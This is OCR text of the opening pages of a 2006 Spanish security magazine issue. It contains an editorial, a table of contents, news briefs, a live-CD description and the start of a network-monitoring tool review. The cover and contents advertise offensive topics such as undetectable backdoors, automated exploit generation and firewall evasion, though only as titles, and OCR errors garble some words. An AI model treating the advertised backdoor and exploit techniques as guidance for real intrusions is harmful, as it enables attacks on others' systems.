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Hacking IBM AS/400

Shalom Carmel nos muestra las vulnerabilidades de las iSeries

Como Sony hackea los ordenadores
Historia del rootkit en el sistema DRM

Autorizacion nociva del correo
Defectos importantes del sistema SPF y Microsoft Sender ID

Sistema avanzado de intrusion
Stavros Lekkas presenta soluciones de autor

Linuximprenetrable
Revision de los parches que aumentan su seguridad

PARA PRINCIPIANTES

Ataque empleando ICMP
Antonio Merola presenta: fingerprinting,
canales secretos, ataques MITM

Como escribir un backdoor indetectable
Brandon Edwards, autor de SilentDoor, descubre
los secretos de las puertas traseras

Shadow Security Scanner — version completa

+16 tutoriales

Entre ellos 5 nuevos: Automatizando el proceso

de explotacién de vulnerabilidades en Linux x86

» Seleccionadas técnicas de omitir cortafuegos

* ICMP, usar y abusar [dos partes) ® Los ataques avanzados
de puerta trasera en Linux ® Engafiamos SPF

Nuevos e-books, tales como: Online Identity Theft: Phrshrng
Technology, Chokepoints and Countermeasures ® Defeating Windows
Personal Firewalls: Filtering Methodologies, Attacks, and Defenses,

* [CMP attacks against TCP
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La mayor distribucion de Linux

» iLa distribucion completa de Linux basada en Fedora Core 4!
» i2000 paquetes de software de usuario!
» Mejor soporte para el hardware [configuracion automdtica de dispositivos mdviles)
» Estabilidad [el sistema testado por grupos independientes de testers)
» Soluciones de escritorio comodas (KDE, GNOME, XFCE)
» Aplicaciones multimedia [Audio - jeditards cada fichero de sonido!
Video - jverds cada pelicula!)
& HIY ? lqé?l como proveedor de servicios de red (Cortafuegos, Web, FTP, Correa)
1§ﬁluu1 nuestra revistal:
iAcceso a Internet a través de telefonias méviles!
Configuracion automtica de tarjetas WiFi
jLa posibilidad de aprovechar los drivers de Windows!
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La seduccién del lado
oscuro de la fuerza

La dltima declaracion de Joseph
Sullivan durante la conferencia
CyberCrime 2003 abrié una vez mas
el tema de la privacidad en Internet
(ver pagina 6). Los internautas no
se vieron entusiasmados con lo que
menciono: eBay tiene probablemente

Secretario de la politica mas beneplacita y abierta
Redaccién: para compartir los mensajes priva-
Tomasz Nidecki dos de nuestros usuarios. Ahora

bien ;qué hemos de esperar ante la creciente cantidad de
engafos en los servicios de subastas? ;cual deberia ser la
posicion de la empresa eBay? Si en vez de un disco duro
nos envian un ladrillo ¢ Preferis enviar el caso a juicio, espe-
rar al menos cinco afios para su resolucién y poder obtener
del servicio de subasta los datos del estafador (el cual, pro-
bablemente, estara en las playas de Goa)? Y todo esto sin
mencionar que mientras el juzgado decide qué hacer en un
asunto de unas cuantas decenas de euros, el servicio de
subasta alcanzara a borra los ficheros de bitacora, o bien
cambiar de propietario o irse a la quiebra... y asi nos pode-
mos despedir de nuestro dinero.

Hasta hace poco los criminales no la tenian facil para
emplear Internet, y mucho menos para mantener su privaci-
dad. Para sentirse seguro el malhechor debia asaltar nueve
servidores sucesivamente para llegar a su objetivo. Ahora,
no obstante, Osama leyendo el siguiente mensaje sobre
privacidad en la Red debe verse como el gato de Alicia en
el pais de las maravillas. Basta con que sus subordinados
instalen TOR (para ello no hay que ser super listo), utilicen
Gmail y pueden dejar de preocuparse de que alguien los
vaya a descubrir antes de que pongan la préoxima bomba.
Bueno, al menos hasta que todos los servidores bloquen la
comunicacién con Gmail por dificultar el analisis de abusos
y ocultar la direccién IP del remitente.

Por supuesto, hay situaciones donde se requiere privaci-
dad. No veo ninguna razon bien fundada para que alguien me
instale alguna bofiiga en mi ordenador y, por ejemplo, saque
informacion de los CDs que reproduzco y cuando lo hago (ver
pagina 70). Sin embargo, estoy convencido de que si alguien
decide comunicarse via Internet, debe estar consciente del
hecho de que emplear datos verdaderos y facilitar su identifi-
cacion es de gran beneficio.

La privacidad tiene un precio muy alto. Pero la mayor
dificultad estriba en que la mayoria de nosotros muestra
una gran dosis de hipocresia en asuntos de privacidad.
Por un lado esperamos que nuestra privacidad sera res-
petada y nadie se enterara de que pasamos horas y horas
viendo pornografia. Por el otro, cuando alguien nos fastidia
completamente enseguida nos podemos el traje de Jedi,
se nos olvida todo lo que hemos hablado sobre privacidad
y demandamos de los servicios reguladores efectos rapidos
y concretos. Sed consecuentes con esto y actuad como tal.
Yo hasta ahora no soy capaz...

Tomasz Nidecki
tonid@hakin9.or

e

Breves 06

Marek Bettman
Las noticias més interesantes del mundo de la segu-
ridad de sistemas informaticos.

Contenido del CD 10

Jadwiga Rzepecka-Makara

Presentamos el contenido y el funcionamiento de la
version mas reciente de nuestra distribucion estan-
dart hakin9.live.

Herramientas

GFI Network Server Monitor 7 12

Stefan Lochbihler

Enseflamos como usar GFl Network Server Monitor,
una herramienta que inspeccione todos nuestros
servicios continuamente y que nos pueda informar
inmediatamente si hubiera algun error.

SwitchSniffer 13

Pawet Charnas
Presentamos SwitchSniffer, una herramienta gratuita
destinada al sniffing en redes conmutadas.

Tema caliente

Hackeando un servidor
IBM iSeries 14

Shalom Carmel

Ensenamos, entre otras cosas, como enumerar
usuarios y claves de acceso por defecto de iSeries,
como esquivar algunas restricciones de usuario y
como escribir un cédigo fuente iSeries sin un editor.

Foco

Linux Seguro — comparacion
de proyectos 28

Michat Piotrowski

Presentamos la descripcion de los diferentes meca-
nismos existentes para mejorar la seguridad de Linux
y también explicamos en qué consisten y contra qué
protegen.

Practica

Escribiendo backdoors
avanzados para Linux — captura
de paquetes 36

Brandon Edwards

Describimos como funciona la técnica de backdoor
de captura (sniffing) de paquetes y como usarla en
practica.
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Técnica

El ICMP, uso y abuso 44

Antonio Merola

Ensefiamos como evitar que el ICMP sea blanco de
intrusos con malos propdsitos si el sistema operativo
o cortafuegos no lo manipulan correctamente.

Programacion

Automatizando el proceso de
explotacién de vulnerabilidades
en Linux x86 60

Stavros Lekkas

Describimos una herramienta que puede identificar
errores de sobrecarga de buffer y producir el cédigo
de explotacion de vulnerabilidades.

Alrededores

Sony, un rootkit y el quinto
poder 70

Michat Piotr Pregowski

Presentamos qué es el rootkit de Sony, qué ries-
gos representa y también qué errores cometio esta
empresa y para quién han sido de interés.

La autenticacion del remitente
— protecciéon y amenaza 74

Tomasz Nidecki

Aqui aprenderas que estrategias de autenticacion de
remitente se estan desarrollando y poniendo en prac-
tica y por qué la autenticacion del remitente no debe
ser utilizada hasta que no se encuentre una solucion
inteligente.

Folletin

Desconfianza digital 80

Carlos Garcia Prado
Carlos comparte con nosotros sus impresiones
acerca de la seguridad informatica.

En el numero siguiente 82

Katarzyna Porada
Anunciamos los articulos que apareceran en el
préximo numero.
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La empresa australiana CSIRO ela-
boré la tecnologia DataTraceDNA,
que permite proteger e identificar los
productos gracias al uso de codigos
de barras quimicos. DataTraceDNA
integra las férmulas Unicas y no
borrables de microparticulas con la
estructura molecular de materiales
y productos. Las microparticulas
son invisibles para la vista humana,
pero pueden leerse sin mucho
esfuerzo como un codigo de barras
quimico a través de un lector portatil
apropiado.

Un cédigo de barras quimico es
muy complejo, y a la vez muy dificil
de falsificar. Ademas, no se puede
borrar ni modificar, puesto que forma
parte de la estructura del material o
producto. Por ahora, la empresa se
concentré en integrar su nueva tec-
nologia con cemento, madera, los
materiales explosivos, los pegamen-
tos, las pinturas, los embalajes y los
polimeros, las sustancias quimicas
y los embalajes farmacéuticos.

Conforme con la ley comunitaria
vigente, los habitantes de Suiza no
registraran sus direcciones en el
dominio comun europeo .eu. Aunque
el pais esta situado en el corazén de
Europa, sdlo los paises que forman
parte de la Unién Europea (UE)
estan autorizados a poseer direccio-
nes en el nuevo dominio europeo.

Beat Fehr, jefe de una de las
empresas de Internet suizas con
licencia para vender direcciones en
el dominio .eu se ha mostrado muy
preocupado con esta informacion.
En su opinion las multinacionales
suizas, entre ellas Nestlé y Swatch,
perderan sus dominios europeos
a favor de los empresarios extran-
jeros mas listos que registraran las
direcciones con los nombres de las
empresas cuanto antes.

Fehr comenta también que el
dominio .eu como tal debe asignarse
a todos los paises del Viejo Conti-
nente. Desde luego, las negociacio-
nes llevadas entre la Comision de
Comunicaciones suiza y la Comision
Europea no trajeron el resultado
esperado. También otros paises de
Europa que no forman parte de la
UE como Islandia, Liechtenstein
y Noruega, bregan con una situacion
parecida a la de Suiza.
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nfo-Tech, una empresa que ana-

liza la industria IT advierte que en
todas las partes en que tengamos
que ver con las soluciones para
negocios, la aplicacion Skype debe
afiadirse sin mas a la lista de aplica-
ciones cuya instalacion, y tanto mas
el uso, quedan prohibidos.

Skype es una de las empresas
de Internet que se desarrollan mas
rapido: ya cuenta con 54 millones
de usuarios en 225 paises vy territo-
rios de todo el mundo. Cada dia el
numero de usuarios de Skype crece
alrededor de 150 mil. La empresa
ha creado también un ecosistema
perfecto de productos, servicios,
fabricantes de software y servicios
afiliados. De hecho, Skype esta
considerado como un lider del mer-
cado en todos los paises en los que
funciona.

Alrededor de 17 millones de usua-
rios registrados del programa Skype
lo utilizan con fines de negocio. Hasta
que las especificaciones estrictas res-
pecto a la segquridad de esta solucion
entren en vigor, esos 17 millones de
usuarios forman una puerta perfecta
para intrusos — comenta un empleado
de Info-Tech.

Segun esta empresa, los mayo-
res pecados de Skype consisten en:

* la encriptacion empleada en
Skype tiene caracter cerrado,

* la aplicacion es muy vulnerable
a los ataques tipo man-in-the-
middle,

* no se conocen los mecanismos
de gestion de claves,

* la comunicacion mediante Skype
a nivel de negocios puede hacer-
les la vida mas dificil a nuestros
socios, puesto que muchas ins-
tituciones han agregado Skype
a sus listas negras,

» Skype no es compatible con los
cortafuegos populares.

Desde que eBay, el conocido gigante
de las subastas por Internet, decidio
comprar Skype, la empresa mas
poderosa del mercado de telefonia
por Internet, los circulos de profesio-
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nales de seguridad de redes entra-
ron en ebullicién. La conferencia de
Joseph E. Sullivan (de la seccion
eBay de colaboracién con las agen-
cias de gobierno) que éste pronun-
ci6 en el congreso CyberCrime2003
puso mas lefia en el fuego. ;Seran
los datos de usuarios Skype féacil-
mente asequibles, estara en peligro
su privacidad?

En las paginas de SecurityFocus,
Scott Granneman, cita el comentario
nefasto para los usuarios de Skype
que hizo el empleado de eBay en el
congreso CyberCrime2003: Al estu-
diar los asuntos relacionados con
las estafas cometidas en eBay supe
que mi empresa a lo mejor tenia
una politica mas generosa y abierta
de compartir los mensajes priva-
dos de nuestros usuarios: si solo
representas alguna de las agencias
cuyo objetivo reside en exigir que se
cumplan las leyes, puedes enviar-
nos un fax sobre tu papeleria oficial
pidiéndonos que te demos acceso
sobre cualquier usuario de nuestro
portal de subastas y te enviaremos
todos los detalles de su actividad
que poseamos. jTodo esto sin orden
Judicial!

Los autores del mensajero
Skype lo introducen como total-
mente seguro (cifrado de conversa-
ciones a través del algoritmo AES,
y RSA para negociar claves), pero
puesto que no se ha descubierto
su codigo fuente, so6lo podemos
confiar en las palabras de los pro-
gramadores, cuando dicen que la
informacién enviada por Skype (los
ficheros, los mensajes de voz y de
texto) soélo la conocen su remitente
y su destinatario...

Sabiendo lo facil que es extraer
los datos personales de cualquier
usuario del portal eBay, el hecho
de que el nuevo propietario de
Skype emplee una politica tan
generosa de proteccion de datos
personales ya no solo suscita una
inquietud general entre los peritos
en la seguridad IT, sino también
siembra temor entre los usuarios
corrientes.



U n acceso a Internet sin limites
que se esta haciendo disponible
para mas personas nos trae unas
amenazas que hasta hace poco sélo
se podian encontrar en las visiones
futuristas de escritores y directores
de cine. Las crecientes capacidades
de computacion, las lineas de banda
ancha y la imaginacion de los gar-
banzos negros de la comunidad web
obligan a los responsables de la segu-
ridad a que sigan atentos y sepan
identificar y neutralizar los peligros.
Todos estos temas se abordaran en el
congreso IT UNDERGROUND 2006,
que sera el mas grande de Europa.
Temas de las sesiones:

» Ataques contra las aplicaciones
Unix,

» Ataques contra las aplicaciones
Windows,

» Técnicas de romper las medidas
de proteccion,

* Andlisis del
o fuente,

» Seguridad de los servicios web,

» Seguridad de las bases de
datos,

» Seguridad de equipo,

» Escaneo y andlisis de la red,

* Anonimato y privacidad en la red

» Fortificaciéon de los sistemas

coédigo  binario,

Unix,

» Fortificacion de los sistemas
Windows,

* Analisis forense de los sistemas
Unix/Linux,

* Analisis forense de los sistemas
Windows,

» Criptografia,

» Seguridad de las redes inalam-
bricas (Wi-Fi, Bluetooth),

S egun informa la empresa eEye,
se ha detectado un error peli-
groso en la proteccion del software
de iTunes. El error permite tomar
control del ordenador del usuario.
De momento faltan comentarios por
parte de la multinacional Apple.

En la pagina de eEye se puede
leer que el error de iTunes permite

* Rootkits, backdoors en los siste-
mas Unix,

* Rootkits, backdoors en los siste-
mas Windows,

» Canales ocultos y esteganografia
de red,

* Anadlisis de los gusanos, malware,
spyware,

» Certificados de seguridad, ICP
(PKI),

* Ingenieria inversa,

* Ingenieria social,

» Cuestiones legales,

« BYOL.

Una parte de las conferencias se
dara en forma BYOL (Bring Your
Own Laptop). Estas seran destina-
das en particular a los participantes
que traigan consigo sus portatiles
y gracias a esto podran participar
activamente en las sesiones. Los
usuarios podran arrancar sus orde-
nadores desde unos CDs con la
distribucion hakin9.live especialmente
preparada, y luego, ingresar en una
red de prueba utilizando las técnicas
descritas por el ponente o protegerse
contra un ataque llevado a cabo por
otros usuarios.
Los congresos mas proximos:

 IT UNDERGROUND 2006, abril
— Gran Bretana,

+ |IT UNDERGROUND 2006, junio
— Espafia,

* |IT UNDERGROUND 2006, sep-
tiembre — ltalia.

Las fechas mas precisas y los
detalles acerca de cada evento los
podéis conocer entrando en http://
www.itunderground.org/.

un arranque desautorizado de
codigo en la maquina atacada. No
se dieron a conocer los detalles del
agujero. Se sabe que dicho pro-
blema en el codigo atafie a varias
versiones del programa, también
la ultima, la numero 6. El problema
solo afecta a la version para el sis-
tema Windows.

www.hakin9.org

La empresa Microsoft declaré que
una parte de las aplicaciones del
entorno Windows se va a mudar
de los discos duros a Internet.
Segun la opinion de Bill Gates,

la nueva pagina web, llamada
Windows Live, permitira el uso

de varias aplicaciones Windows
en cualquier lugar y momento. El
fundador de Microsoft subrayo,
sin embargo, que tanto el nuevo
servicio, como su gemelo Windows
Office no sustituiran por completo
el software instalado en los discos
duros.

La nueva pagina web va a faci-
litarles a mas de 28 millones de
clientes del sector de las PYMEs
el acceso a muchas aplicaciones
Windows, ofreciendo las exten-
siones de las aplicaciones Office
estandar, asi como un par de servi-
cios nuevos, que suelen quedar
fuera del alcance financiero de los
clientes de este sector.

Por lo pronto, el acceso a Office
Live sera proporcionado a un
estrecho grupo de clientes. Win-
dows Live sera ofrecido en sus-
cripcion y ya se lo percibe como la
respuesta de Microsoft a las ideas
de las empresas Google y Yahoo.
Esperamos que el nuevo producto
del gigante de Redmond estara
provisto de mejor proteccion que el
de sus hermanos mayores.

El gigante de Redmond prome-
tié dar acceso al formato de los
ficheros Office XML y pidi6 a la
organizacion internacional de
estandarizacion ECMA que acep-
tara este formato como estandar
de la industria.

Parece que Microsoft comprendio
de una vez que una actitud intran-
sigente en cuanto a la apertura de
algunos ficheros puede resultar
muy poco provechosa. Especial-
mente si se trata de los ficheros de
un paquete de oficina, donde ha
aparecido un rival muy fuerte como
es el formato OpenDocument.
Microsoft anuncié la publicacion
de herramientas especiales que
permitirian convertir los datos
grabados en el formato viejo a los
ficheros Office XML.
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El homologo austriaco de la FBI
norteamericana — la Oficina Criminal
Federal — advierte la presencia de
e-mails, cuyos autores se hacen
pasar por la Oficina. Los mensajes
los reciben sobre todo los habitan-
tes de Austria, Alemania y Suiza,

y los demas paises europeos. En

el archivo adjunto al mensaje se
esconde una de las versiones del
virus Sober. La Oficina Criminal
Federal advierte que no se abra el
adjunto e informa que no tiene nada
que ver con los e-mails de este tipo.

La empresa britanica Compu-

ter Terrorism presento6 el codigo
maligno que utiliza el agujero
conocido de Internet Explorer para
tomar control sobre el ordenador.

El agujero se conoce desde el 31
de mayo de 2005. Al principio se lo
definia como poco peligroso, ya que
apenas permitia llevar un ataque
tipo DoS (denial-of-service). Ahora,
después de que los britanicos
probaran que permitia interceptar el
control del ordenador, se lo consi-
dera critico. Es el grado de peligro
mas alto de los que hay.

El error esta provocado por el
modo en que el navegador adminis-
tra el codigo JavaScript. Si el intern-
auta visita una web bien preparada,
el autor de ésta podra ejecutar en
su ordenador cualquier cédigo.

Los peritos aconsejan desactivar el
soporte de JavaScript en Internet
Explorer o emplear otro navegador.

Seguridad e Infalibilidad de Siste-
mas Informaticos — el congreso de
seguridad e infalibilidad de sistemas
informaticos mas grande de Europa
Central este afio tendra lugar
también en Francia y Alemania.
Hasta ahora se organizaron ya seis
encuentros en Polonia, y tres en
Republica Checa. Cada uno reunia
a miles de participantes y decenas
de empresas innovadoras que pre-
sentaron sus soluciones.

El hecho de que el organizador de
los congresos, la empresa Software—
Konferencje, decidiera organizar uno
también en Francia y Alemania, cons-
tituye un evento muy importante para
todos los que se dedican a diario
a velar por la seguridad de los siste-
mas informaticos.

hakin9 N° 2/2006

n grupo de cientificos finlan-

deses de la Universidad de
Oulu descubrié un agujero grave
de la implementacién del protocolo
ISAKMP (Internet Security Associa-
tion and Key Management Protocol)
que se emplea en los productos
Cisco y Juniper Networks.

El agujero detectado es tan grave
que los resultados de la investigacion
de los cientificos finlandeses consi-
guieron una fama repentina gracias al
Centro Nacional de Coordinacion de la
Seguridad de Red britanico y el CERT
finlandés. Mas vulnerabilidades mues-
tran los cortafuegos de programa
y de equipo de las empresas Cisco
Systems y Juniper Networks. Las dos
multinacionales ya han sido informa-
das sobre el nuevo peligro.

Los representantes de la empresa
Cisco admitieron que un paquete
adecuadamente preparado es capaz

Dos nigerianos han sido conde-
nados a muchos afios de pri-
sion por el escandalo mas grande de
la historia del pais. Fue una estafa
a través de Internet. Emmanuel
Nwude pasara 25 afos en prision
y Nzeribe Okoli, doce, después de
haber robado 242 millones de ddla-
res de un banco brasilefio.

Ademas, los dos hombres deben
ingresar 121,5 millones de ddlares
de indemnizacion a las cuentas de
las victimas del delito, que son los
clientes del Banco Noroeste de Séo
Paulo. La actividad de los nigerianos
llevo el banco a la quiebra. El tercer
culpable, Amaka Anajemba, consin-
tio pagar 48,5 millones de dodlares
de indemnizacion y fue condenado
a dos anos y medio de prision.

Los delincuentes consiguieron
el dinero del banco con su fraude
prometiendo comisiones muy altas
a sus empleados a cambio de inter-
mediar en una construccion inexis-
tente del aeropuerto en la capital
de Nigeria, Abuja. Las estafas de
este tipo sacan a diario alrededor
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de provocar un reinicio instantaneo de
los dispositivos lo que permite efec-
tuar un ataque tipo DoS. La empresa
suministra ya una actualizacion gra-
tuita de su software. Los productos
de la empresa puestos en peligro
incluyen las aplicaciones: Cisco 10S,
Cisco PIX Firewall, Cisco Firewall
Services Module, Cisco VPN 3000
Series Concentrators y Cisco MDS
Series SanOS.

La multinacional Juniper reac-
cion6 también a la alarma publicada
declarando que todo el software de
la empresa que entr6 a la venta des-
pués del 28 de julio ya cuenta con
proteccion adecuada. Los productos
de la empresa que figuran en la lista
de los mas vulnerables abarcan los
enrutadores de la serie M, T, J y E,
asi como la mayoria de las versio-
nes del software Junos y JunoSE
Security.

de un millén de ddlares a ingenuos
so6lo en los Estados Unidos. Y asi se
desarrolla el negocio desde hace
muchos afos, cada vez con mas
intensidad. Tal actividad forma la
tercera industria nigeriana en cuanto
a la cantidad de beneficios. Actual-
mente, en muchos paises del mundo
casi todas las cartas de Nigeria, asi
como de Africa del Sur, Zimbabwe,
Angola, Sierra Leona o Costa de
Marfil, se considera una introduccion
al fraude.

Desde 1999, funciona en Nigeria
una agencia del Servicio Secreto
norteamericano, pero aunque ésta
habia arrestado centenas de perso-
nas, el negocio ilegal va viento en
popa y abarca mas y mas paises
del mundo. Desafortunadamente,
resulta que el gobierno nigeriano no
tiene ganas de colaborar en comba-
tir el negocio: nadie fue condenado
en base al articulo N° 419 del Cédigo
Penal, tampoco ninguna de las victi-
mas recibioé su indemnizacion.



Los fabricantes de los nave-
gadores web mas populares
debatieron juntos como resistir los
peligros provenientes de Internet.
Los empleados de Microsoft (Inter-
net Explorer), Mozilla Foundation
(Firefox), Opera Software (Opera)
y los autores de Konqueror se
reunieron en Toronto en una sesion
comun organizada por los desa-
rrolladores de KDE. El tema princi-
pal de conversacion gir6 en torno
a cémo elaborar los métodos de reco-
nocimiento, por parte de los navega-
dores, de las paginas de confianza
y las que traen peligro. Ademas, se
levanto la cuestién de como proteger
la tecnologia pop-up de forma que los
ciberdelincuentes no puedan apro-
vecharla para hacerse con los datos
personales de los usuarios.

C uando pensamos en los paises
en los que se imponen los limi-
tes al uso de Internet, lo mas proba-
ble es que una de nuestras primeras
asociaciones sea China. Sin duda,
a pocas personas se les ocurriran
los Estados Unidos, o sea, un pais
donde las libertades civiles son
garantizadas por la Constitucion.
Mientras tanto, son precisamente
los EE.UU., y mas en concreto, la
Escuela Regional Catdlica Juan XIlII
del estado de New Jersey, donde las
autoridades introdujeron una prohi-
bicion de escribir blogs, o sea, los
diarios en version en linea.

El director de la escuela,
Kieran McHugh, anuncié que si
cualquiera de los estudiantes se
pone a escribir su diario en Internet,
sera suspendido en sus derechos.
Es curioso que McHugh no fuera
capaz de motivar su prohibicion ni
explicar qué habia de malo en escri-
bir blogs. El profesor explicé que su
decisién no era ninguna forma de
censurar a los estudiantes, sino que
s6lo tenia como objetivo establecer
unas normas sociales que garanti-
zaran respeto y buena educacion.
Anadié también que la prohibicion

Una de las soluciones propuestas
fue el cambio de color de la barra de
direccion segun el grado de proteccion
y confianza de la pagina visitada. En
la barra aparecerian también unos
iconos que confirmarian la activacion
de la transmision de datos cifrada
por parte de la pagina. Ademas,
cada ventana abierta visualizaria la
direccion desde la cual acabaria de
descargarse su contenido. Esta regla
se aplicaria también a las ventanas
pop-up, o los formularios.

Sin embargo, no se sabe si las
medidas de proteccién que acaban
de enumerarse se van a emplear en
todos los navegadores. Es que los
representantes de Firefox y Konqueror
declararon que solo podian recomen-
dar soluciones a las personas que tra-
bajaban sobre aquellos programas.

de escribir blogs iba a proteger a los
chicos contra los delitos de violencia
sexual, las ciberestafas y las amista-
des no deseadas. Es mas, el director
McHugh declar6: No considero esta
prohibicién como una forma de cen-
sura. Creo, que ensefia a nuestros
protegidos los buenos comporta-
mientos sociales. Si mi decision
ayuda a salvar siquiera un solo chico
de las tentativas de los delincuentes,
ni pienso pedir perdén por ella.

Los estudiantes mismos perciben
la prohibicién de una forma un poco
distinta, ya que una parte de ellos
esta convencida de que al profesor le
irritd un poco el que algunos pusieran
sus comentarios sobre la escuela en
sus blogs. Y probablemente tienen
razon. Un estudiante fue expulsado
de la escuela justo después de
que publicara en su diario web una
entrada poco favorecedora para su
profesor. Debido a que la Escuela
Regional Juan XIII es una institucion
privada, su director esta en su pleno
derecho de establecer cualquier pro-
hibicion aplicable a la actividad de la
escuela. Desde luego, tal vez nadie
esperaba que en el siglo XXl fuera a
volver la Inquisicion.
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El experimento mundial
SETI@home, que consistia en
buscar civilizaciones lejanas en
base a una red de ordenadores
privados de sobremesa, se incor-
poro el 15 de diciembre del 2005
a BOINC (Berkeley Open Infras-
tructure for Network Computing),
la unidad creada por el coordina-
dor de SETI@home, la Universi-
dad de California en Berkeley. Los
resultados del experimento, des-
pués de ser analizados en detalle,
se publicaran en Internet.

Los representantes de BOINC
afirmaron que los usuarios que
siguen interesados en buscar vida
extraterrestre por su propia cuenta
pueden continuar su investigacion.
Ademas, logran la participacion en
los nuevos proyectos de BOINC,
vinculados con biologia molecular,
la fisica de grandes energias y los
estudios de cambio climatico, entre
otras cosas.

El gobierno chino alquila a hackers
que se entrometen en las redes
militares norteamericanas. Los
peritos informaron de un grupo de
personas que trabajaban para el
gobierno de Pekin. Los hackers,
cuya sede esté probablemente en
la provincia de Guangdong, consi-
guieron robar muchos documentos
secretos norteamericanos. La infor-
macion extraida incluye los detalles
de construccion de aviones, o el
software para planear las rutas de
vuelo.

Segun Alan Paller, director de
SANS Institute, que examiné los
casos de intromisiones y robos de
datos secretos, el grupo de hac-
kers esta formado por 20 perso-
nas. El gobierno norteamericano
llamo el grupo Titan Rain y mando
a combatirlo, entre otros, a un
hacker apodado Shawni Carpen-
ter, que consiguié entrometerse
en los ordenadores utilizados por
los chinos. En la red aparecieron
también opiniones de que todo el
lio fue montado por los norteame-
ricanos, que querian monitorizar
legalmente la actividad informatica
de China.
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hakin9.live

Contenido del CD

n el CD adjunto a la revista vais a encontrar
E hakin9.live (h9l) versién 2.9-ng — distribucién

bootable de Linux provista de herramientas prac-
ticas, documentacién, tutoriales y materiales suplemen-
tarios relacionados con los articulos.

Para empezar a trabajar con el hakin9.live es sufi-
ciente arrancar el ordenador desde el CD. Tras poner en
marcha el sistema nos registramos como usuario hakin9
sin contrasefa. Los materiales suplementarios se en-
cuentran en los siguientes catalogos:

e doc — documentacién en formato HTML,

* hit — hit del numero: Shadow Security Scanner, ex-
celente escaner de seguridad — versién completa
para 5 direcciones IP. Para recibir la oferta gratui-
ta, necesitas instalar la versién que esta disponi-
ble en hakin9.live, y enviar un correo electrénico
a support@safety-lab.com poniendo en el asunto
hakin9-Safety-lab SSS offer y recibiras los codigos
para la oferta gratuita. La oferta es valida hasta el 31
de Mayo de 2006.

* art— materiales suplementarios de los articulos: lista-
dos, scripts, programas imprescindibles,

e tut—tutoriales,

* add - libros y otros documentos en formato PDF (en-
tre otros, Using PGP/GnuPG and S/MIME with Email,
ICMP attacks against TCP, Host Fingerprinting and
Firewalking with hping, Writing Stack Based Overflo-
ws on Windows (4 parts + Examples),

» rfc — conjunto de documentos RFC.

Los materiales de archivo se hallan en los subcatalogos

_arch, en cambio los nuevos — en los catalogos princi-

pales segun la estructura de arriba. En caso de explorar
el CD desde hakin9.live en marcha, la estructura citada
esta disponible en el subcatalogo /mnt/cdrom.

La version 2.9-ng h9/ la hemos construido en base
a la distribucion Gentoo Linux y scripts livecd-tools. Las
herramientas que no estan disponibles en el repositorio
de Gentoo se instalan desde los paquetes situados en

S
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Figura 1. Mas herramientas utiles
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el catalogo /usr/local/portage o afadidos al catalogo
/ust/local/bin.

En comparacion con h9/ 2.8-ng hemos cambiado la
version del kernel (actual 2.6.14 con sus parches gentoo-
sources-2.6.14-r4). Actualizamos los paquetes a los mas
recientes y estables de la versién. Afiadimos nuevos dri-
vers para el soporte de tarjetas PCl y USB inaldambricas.

En la actual version h9/ se han introducido, entre
otros, los programas:

» ap-utils —juego de herramientas para la configuracion
de Access Points,

* mrtg — monitorizacion de trafico para multi enrutador,

* ekg2 — consola de mensajeria instantanea con sopor-
te para Jabber.

También se ha actualizado el programa Nessus a su
version 2.2.6.

En h9l se halla el programa de instalaciéon (version
modificada de los scripts de Knoppix). Tras la instalacion
en el disco duro se puede emplear portage (instruccion
emerge) para la instalacién de aplicaciones adicionales.
El entorno gréafico por defecto de h9l es Fluxbox con el
gestor de archivos ROX.

Tutoriales y documentacion

La documentacioén estd compuesta, entre otros, de tuto-
riales preparados por la redaccién. Contienen ejercicios
practicos para articulos tales como: ICMP — aplicaciones
y riesgos (dos tutoriales), Explotacion automatica de la
flexibilidad en Linux, Backdoors avanzadas en Linux
— escucha de paquetes, Autorizaciéon del remitente
— seguridad o riesgo, asi como un tutorial que comple-
ta el articulo Omision de firewalls del numero anterior
de h9. Naturalmente, suponemos que el usuario utiliza
hakin9.live. Gracias a ello, evitaremos problemas relacio-
nados con las diversas versiones de compiladores, otra
localizacién de los archivos de configuracion u opciones
necesarias para la ejecucion del programa en un entorno
dado. ®

] o o s [t s iy | -
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Figura 2. Shadow Security Scanner
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Si no puedes leer el contenido del CD y no es culpa de un dafio
mecanico, contrélalo en por lo menos dos impulsiones de CD.

En caso de cualquier problema con CD rogamos
escriban a: cd@software.com.pl




Herramientas

GFIl Network Server

Monitor 7

Sistema operativo: Windows

Licencia: Comercial con version de evaluacion de 10 o 30 dias.

Pagina oficial: http://www.gfi.com/

Aplicacién: Monitorizacion de redes y servidores para la deteccién de errores

GFI Network Server Monitor es una herramienta que permite a los adminis-
tradores de red escanear la red para buscar errores de hardware y software.
Permite detectar problemas y nos alerta antes de que lo hagan los usuarios.

Inicio rapido: Imaginemos que somos un administrador
de red, y que nuestra red consiste en un servidor Win
2003 y un servidor SUSE con servicios HTTP, SSH
y FTP. Buscamos una herramienta que inspeccione todos
nuestros servicios continuamente, y que nos pueda infor-
mar inmediatamente si hubiera algun error. GFI Network
Server Monitor es la herramienta adecuada.

Puedes comenzar por preparar algunas pruebas senci-
llas para tu sistema SUSE. Para ello tendras que crear una
nueva carpeta que contendra tus reglas y opciones para
el sistema de inspeccién. Selecciona la opcion Monitoring
Checks Configuration desde el explorador de esta herra-
mienta y haz click derecho parar crear una nueva carpeta.
Con el proximo click derecho sobre la carpeta podras cam-
biar las propiedades de tu prueba de monitorizacién. Antes
de nada, introduce la IP/hostname del host (que quieres
inspeccionar) y cambia la opcion Error Threshold a uno.
Después selecciona certificate authentication en la pestafa
de Logon credentials para conseguir una conexion segura.

Deberias definir también Alert -> Settings bajo el menu
Actions para decidir como quieres que se te informe cuando
algo vaya mal en tu red. Para ser informado por correo elec-
trénico, desactiva las opciones Send a SMS message to
y Send a network message to (enviar mensaje SMS
y enviar mensaje de red). Ya es hora de afiadir algunas
reglas. Haz doble click sobre la carpeta y a continuacion
click derecho para establecer una nueva prueba de monito-
rizacion. Selecciona HTTP en la lista de reglas e introduce
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Mostrar una lista con nuestras reglas de monitorizacion
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la IP/hosname del servidor en la préxima pagina. Si estas
interesado en conocer la disponibilidad de tu sitio web,
selecciona la opcién Check for availability only.

Ya has creado tu primera regla. Ademas, puede ser que

te interese saber si el proceso Apache se ejecuta correc-
tamente. Para ello debes crear una nueva regla y selec-
cionar Generic Secure Shell (SSH) Check. Como veras,
GFI Software ya ha creado algunos scripts. Selecciona el
correspondiente a Apache y especifica la IP del servidor.
Para comprobar si tu servidor FTP funciona correctamente,
define una regla en la que se realice una entrada completa
en tu servidor FTP. Repite los mismos pasos de antes, pero
ahora seleccionando FTP de la lista de reglas, y activando
